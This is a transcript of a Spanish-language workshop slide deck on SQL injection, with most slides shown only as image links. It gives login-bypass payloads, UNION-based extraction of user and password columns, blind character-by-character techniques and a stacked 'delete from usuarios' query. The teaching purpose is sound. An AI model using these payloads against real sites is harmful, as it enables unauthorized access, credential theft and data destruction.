sql injection
TRANSCRIPT
![Page 1: Sql injection](https://reader034.vdocumento.com/reader034/viewer/2022052508/559e1a291a28abcf5b8b4584/html5/thumbnails/1.jpg)
![Page 2: Sql injection](https://reader034.vdocumento.com/reader034/viewer/2022052508/559e1a291a28abcf5b8b4584/html5/thumbnails/2.jpg)
Problemas de configuración del servidor.
Bugs en los modulos del framework usado en el
sitio (Actualizaciones)
Problemas en la lógica del negocio
› Manejo incorrecto de archivos.
› Mal filtrado de variables.
![Page 3: Sql injection](https://reader034.vdocumento.com/reader034/viewer/2022052508/559e1a291a28abcf5b8b4584/html5/thumbnails/3.jpg)
![Page 4: Sql injection](https://reader034.vdocumento.com/reader034/viewer/2022052508/559e1a291a28abcf5b8b4584/html5/thumbnails/4.jpg)
![Page 5: Sql injection](https://reader034.vdocumento.com/reader034/viewer/2022052508/559e1a291a28abcf5b8b4584/html5/thumbnails/5.jpg)
![Page 6: Sql injection](https://reader034.vdocumento.com/reader034/viewer/2022052508/559e1a291a28abcf5b8b4584/html5/thumbnails/6.jpg)
![Page 7: Sql injection](https://reader034.vdocumento.com/reader034/viewer/2022052508/559e1a291a28abcf5b8b4584/html5/thumbnails/7.jpg)
Problemas en la lógica del negocio
› Mal filtrado de variables .
$login=$_POST['login'];
$login <- roguer
$login <- ‘
![Page 8: Sql injection](https://reader034.vdocumento.com/reader034/viewer/2022052508/559e1a291a28abcf5b8b4584/html5/thumbnails/8.jpg)
Internamente › SELECT * FROM usuarios WHERE nombre= „$login‟
AND password=„$pass‟
SELECT * FROM usuarios WHERE nombre = „roguer‟
AND password=„contrasena‟
SELECT * FROM usuarios WHERE nombre = „‟‟ AND
password=„‟‟
![Page 9: Sql injection](https://reader034.vdocumento.com/reader034/viewer/2022052508/559e1a291a28abcf5b8b4584/html5/thumbnails/9.jpg)
Paginas de inicio de sesión
› Nombre de Usuario
› Contraseña
http://mi_ip/Taller
![Page 10: Sql injection](https://reader034.vdocumento.com/reader034/viewer/2022052508/559e1a291a28abcf5b8b4584/html5/thumbnails/10.jpg)
„or‟‟=„
„or‟1‟=„1
Select * from usuarios where nombre=„„or‟‟=„‟
AND password=„„or‟‟=„‟
![Page 11: Sql injection](https://reader034.vdocumento.com/reader034/viewer/2022052508/559e1a291a28abcf5b8b4584/html5/thumbnails/11.jpg)
Operaciones sobre consultas
› Order by
› Union
› Limit
![Page 12: Sql injection](https://reader034.vdocumento.com/reader034/viewer/2022052508/559e1a291a28abcf5b8b4584/html5/thumbnails/12.jpg)
Pagina que gestiona el contenido de
una base de datos.
› Paginas que contienen un parámetro tipo id
› ¿ Y si hacemos que ese sea id=„ ?
“Error”
![Page 13: Sql injection](https://reader034.vdocumento.com/reader034/viewer/2022052508/559e1a291a28abcf5b8b4584/html5/thumbnails/13.jpg)
¿Se esta consultando una tabla de la
base de datos?
¿Nos muestra algún error?
Que nos sirve saber acerca de la tabla
consultada?
![Page 14: Sql injection](https://reader034.vdocumento.com/reader034/viewer/2022052508/559e1a291a28abcf5b8b4584/html5/thumbnails/14.jpg)
Obteniendo el numero de columnas
› Pagina.php?id=-1+order+by+X—
¿Porque -1?
¿Que hace el order by en esta consulta?
¿Como puedo obtener un resultado de
la inyección?
![Page 15: Sql injection](https://reader034.vdocumento.com/reader034/viewer/2022052508/559e1a291a28abcf5b8b4584/html5/thumbnails/15.jpg)
Obteniendo un resultado visible en el
sitio.
› Pagina.php?id=-1+union+select+1,2,3.,.,n—
› ¿Cual es la diferencia ahora?
› ¿Para que esos números?
![Page 16: Sql injection](https://reader034.vdocumento.com/reader034/viewer/2022052508/559e1a291a28abcf5b8b4584/html5/thumbnails/16.jpg)
Funciones de mysql
› Version()
› User()
› Database()
› Concat()
![Page 17: Sql injection](https://reader034.vdocumento.com/reader034/viewer/2022052508/559e1a291a28abcf5b8b4584/html5/thumbnails/17.jpg)
Obteniendo información de la conexión.
› Pagina.php?id=-1+union+select+1,user(),3.,.,n—
› ¿Cual es la diferencia ahora?
› ¿Qué resultado arrojó?
![Page 18: Sql injection](https://reader034.vdocumento.com/reader034/viewer/2022052508/559e1a291a28abcf5b8b4584/html5/thumbnails/18.jpg)
Malicia Indígena o information.schema.› Pagina.php?id=-1+union+ select+1,2,3.,.,n+from+tabla—
› ¿Qué resultado arrojó?
![Page 19: Sql injection](https://reader034.vdocumento.com/reader034/viewer/2022052508/559e1a291a28abcf5b8b4584/html5/thumbnails/19.jpg)
¿Si tengo el nombre de la tabla y las
columnas que puedo hacer?
Pagina.php?id=-1+union+select+1,login,pass, ...,n+from+usuarios—
¿Cómo paso al siguiente registro?
![Page 20: Sql injection](https://reader034.vdocumento.com/reader034/viewer/2022052508/559e1a291a28abcf5b8b4584/html5/thumbnails/20.jpg)
¿Y si la pagina no genera errores al hacer id=„?
![Page 21: Sql injection](https://reader034.vdocumento.com/reader034/viewer/2022052508/559e1a291a28abcf5b8b4584/html5/thumbnails/21.jpg)
Estructura de la consulta
› SELECT * FROM noticias WHERE id=$id
› SELECT * FROM noticias WHERE id=5
› SELECT * FROM noticias WHERE id=5 AND 1=1
![Page 22: Sql injection](https://reader034.vdocumento.com/reader034/viewer/2022052508/559e1a291a28abcf5b8b4584/html5/thumbnails/22.jpg)
Concepto de Subconsultas
› SELECT count(*) FROM tabla
› SELECT count(campo) FROM tabla
› SELECT * FROM noticias WHERE id=5 AND 1=1
![Page 23: Sql injection](https://reader034.vdocumento.com/reader034/viewer/2022052508/559e1a291a28abcf5b8b4584/html5/thumbnails/23.jpg)
Uniendo campos y usando operadores
› SELECT concat(login,0x3a,password) FROM usuarios LIMIT 0,1
› substring(campo,carater_inicio,tamaño)
› substring(campo,1,1)
› Ascii(caracter)
![Page 24: Sql injection](https://reader034.vdocumento.com/reader034/viewer/2022052508/559e1a291a28abcf5b8b4584/html5/thumbnails/24.jpg)
¿Toca sacar carácter por carácter?
¿Cómo se cuantos caracteres debo
sacar?
![Page 25: Sql injection](https://reader034.vdocumento.com/reader034/viewer/2022052508/559e1a291a28abcf5b8b4584/html5/thumbnails/25.jpg)
¿Es esto critico?
¿Para puede servir esta información?
¿A través de SQL-Inyection solo se
puede sacar información?
› login=‘roguer’;delete from usuarios--
![Page 26: Sql injection](https://reader034.vdocumento.com/reader034/viewer/2022052508/559e1a291a28abcf5b8b4584/html5/thumbnails/26.jpg)
![Page 27: Sql injection](https://reader034.vdocumento.com/reader034/viewer/2022052508/559e1a291a28abcf5b8b4584/html5/thumbnails/27.jpg)